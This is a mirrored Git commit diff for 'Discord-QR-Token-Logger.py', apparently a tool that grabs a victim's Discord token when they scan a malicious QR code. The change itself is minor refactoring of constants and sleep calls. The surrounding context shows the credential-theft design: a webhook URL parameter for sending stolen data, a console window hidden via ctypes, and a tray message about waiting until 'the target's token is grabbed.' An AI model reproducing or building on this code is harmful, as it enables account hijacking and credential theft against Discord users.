mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-29 22:15:29 +00:00
Update Discord-QR-Token-Logger.py
This commit is contained in:
parent
486b1a5439
commit
824842c8e9
@ -32,9 +32,7 @@ from selenium.webdriver.support import expected_conditions as EC
|
|||||||
from selenium.webdriver.support.ui import WebDriverWait
|
from selenium.webdriver.support.ui import WebDriverWait
|
||||||
from utilities import banner, pystray_img
|
from utilities import banner, pystray_img
|
||||||
|
|
||||||
YES = 'y'
|
YES, NO = 'y', 'n'
|
||||||
NO = 'n'
|
|
||||||
SLEEP_TIME = 3
|
|
||||||
|
|
||||||
def generate_qr_code(path_1: str, path_2: str) -> None:
|
def generate_qr_code(path_1: str, path_2: str) -> None:
|
||||||
"""Generates a QR code using the files in the resources directory.
|
"""Generates a QR code using the files in the resources directory.
|
||||||
@ -130,7 +128,7 @@ def main(webhook_url: str) -> None:
|
|||||||
|
|
||||||
Write.Print('\n[#] Waiting for target to login using the QR code...', Colors.red_to_purple)
|
Write.Print('\n[#] Waiting for target to login using the QR code...', Colors.red_to_purple)
|
||||||
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.", 'Waiting for target')
|
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.", 'Waiting for target')
|
||||||
time.sleep(SLEEP_TIME)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@ -231,4 +229,4 @@ if __name__ == "__main__":
|
|||||||
if not th_main.is_alive():
|
if not th_main.is_alive():
|
||||||
pystray_icon.icon.stop()
|
pystray_icon.icon.stop()
|
||||||
break
|
break
|
||||||
time.sleep(SLEEP_TIME)
|
time.sleep(1)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user